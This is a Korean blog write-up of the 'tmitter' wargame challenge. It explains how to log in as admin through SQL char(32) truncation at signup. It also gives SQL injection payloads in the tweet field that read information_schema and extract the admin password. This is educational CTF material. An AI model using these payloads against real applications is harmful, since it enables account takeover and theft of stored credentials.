
[wargame.kr] tmitter Write-Up
두비니
·2022. 4. 6. 01:04
드림핵 문제이긴하지만 원래 wargame.kr문제였고, 어차피 랭킹에도 영향이 없는 문제라 라업을 작성합니다.
문제되면 알려주세요~!~!
you need login with "admin"s id! =========================== create table tmitter_user( idx int auto_increment primary key, id char(32), ps char(32) ); |
생각보다 다양한 문제풀이가 가능해서 SQL도 공부할 겸 풀이 작성합니다.
우선 문제는 admin으로 로그인하는게 목적이고, 크게 sign up, sign in, 그리고 로그인 후 트윗을 작성하는 기능이 있습니다.
크게 두 가지로 문제풀이를 작성하도록 하겠습니다.
1. 중복 sign up을 통한 풀이
회원가입은 join.php를 통해 관리되고 있으며, 내용은 다음과 같습니다.
<head>
<style>
body {background-color:#eef;}
table td {text-align:center; background-color:#dde;}
.ex {text-align:left; color:#99a; font-size:9pt;}
</style>
<script>
function chk(f){
if(f.id.value.length<4){alert("chk id"); return false;}
if(f.ps.value.length<7){alert("chk ps"); return false;}
return true;
}
</script>
</head>
<body>
<center>
<img src="./tmitter.png">
<form onsubmit="return chk(this);" method="post">
<table>
<tr><td>ID</td><td><input type="text" name="id" maxlength="32"></td><td class="ex">at least 4char</td></tr>
<tr><td>PS</td><td><input type="password" name="ps" maxlength="32"></td><td class="ex">at least 7char</td></tr>
<tr><td colspan=2><input type="submit" value="join"></td></tr>
</table>
</form>
</body>
<!-- hint : you need join with admin -->
특이사항이 있다면 id는 4글자 이상, pw는 7글자 이상이어야 한다는 제한이 있네요.
회원가입 쿼리는 문제에서 제공해줘서 볼 수 있네요.
create table tmitter_user(
idx int auto_increment primary key,
id char(32),
ps char(32)
);
마침 힌트도 admin으로 가입하라고 하기 때문에, 일단 admin으로 가입해볼게요.
우선 admin이 있다고 하는 것을 보아, 해당 ID가 존재하는지 확인하는 과정이 있는 것으로 보입니다.
여기서 중요한 부분은 크기가 32로 되어있다는 점입니다.
"admin"+""*(32-5)+"aa"를 ID로 입력할 경우,
"admin"+""*(32-5)+"aa" != "admin"이기때문에 중복확인은 bypass할 수 있지만,
create table과정에서는 id가 char(32)로 선언이 되어있기때문에 32글자 뒷부분의 내용은 짤리게 됩니다.
또한 32글자 제한은 php가 노출되어있기때문에 개발자도구를 통해 바꿔도 되고, burp suite를 이용해도 됩니다.
이 방법을 사용하면 중복가입을 통해 플래그를 얻을 수 있습니다.
2. Tmitter의 Insert table을 사용한 풀이
이 문제풀이는 삽질을 좀 많이해서...ㅋㅋㅋ 그냥 SQL 공부를 좀 하고싶어서 한거라 참고만 하시면 좋을 것 같습니다.
우선 트윗이 써지는걸 보고, 대충 저런식으로 등록이 되겠거니 추측을 해보았습니다.
insert into table_name values(aa, aa, .. , '내가 쓴 트윗 내용', cc, dd, ...) |
아무튼 가장 먼저 알아내고자 했던 것은 뒤로 몇개의 element가 있는지였습니다. 그래서 test')#의 형식으로 제 쿼리가 정상적으로 처리가 될때까지 찾아내었습니다.
결론적으로 test', '11')#을 넣었을 때 정상적으로 처리가 되는 것을 확인했습니다. 아마 아래처럼 처리가 되겠죠?
insert into table_name values(aa, aa, .. , 'test', '11')#', 실제값) |
이게 가능하다면 한 번에 여러 개의 트윗도 등록이 가능할 것 같다고 판단하여, 조금(많이) 더 삽질을 해보았습니다.
결론적으로 다음 쿼리가 먹혔습니다.
test', '11'), (0, 'admin', '222', '333')#
그러면 마지막으로 select구문을 가져올 수 있는지 확인을 해보고, 비밀번호를 얻어내도록 하겠습니다.
트윗을 내용을 입력하는 부분에 다음과 같이 select 구문을 작성해보았습니다.
test', '11'), (0, 'admin', (select column_name from information_schema.columns where table_name='tmitter_user' limit 0,1), '333')#
아래 구문을 작성한 이유는, 다음과 같이 이미 tmitter_user라는 테이블이 존재함을 알고있기 때문에 작성을 했습니다.
create table tmitter_user(
idx int auto_increment primary key,
id char(32),
ps char(32)
);
그리고 결과는..!
잘 되는걸 확인할 수 있습니다.
그러면 이제 쿼리를 통해서 admin의 ps를 빼내면 되기 때문에 다음과 같이 쿼리를 작성하면 됩니다.
결론적으로 비밀번호를 얻어낼 수 있는 쿼리는!
test', '1'), (0, 'admin', (select ps from tmitter.tmitter_user where id='admin'), '22')#
이고, 이 방법으로 비밀번호를 알아낼 수 있습니다.
끝! SQL은 어려워~.~
'War Games > dreamhack' 카테고리의 다른 글
dreamhack 문제 배포 (0) | 2022.09.04 |
---|---|
[pwn] rtld (0) | 2022.07.05 |
[rev] rev-basic-9 (0) | 2021.03.08 |
[rev] rev-basic-8 Write-Up (0) | 2021.01.25 |
[pwn] validator Write-Up (0) | 2021.01.24 |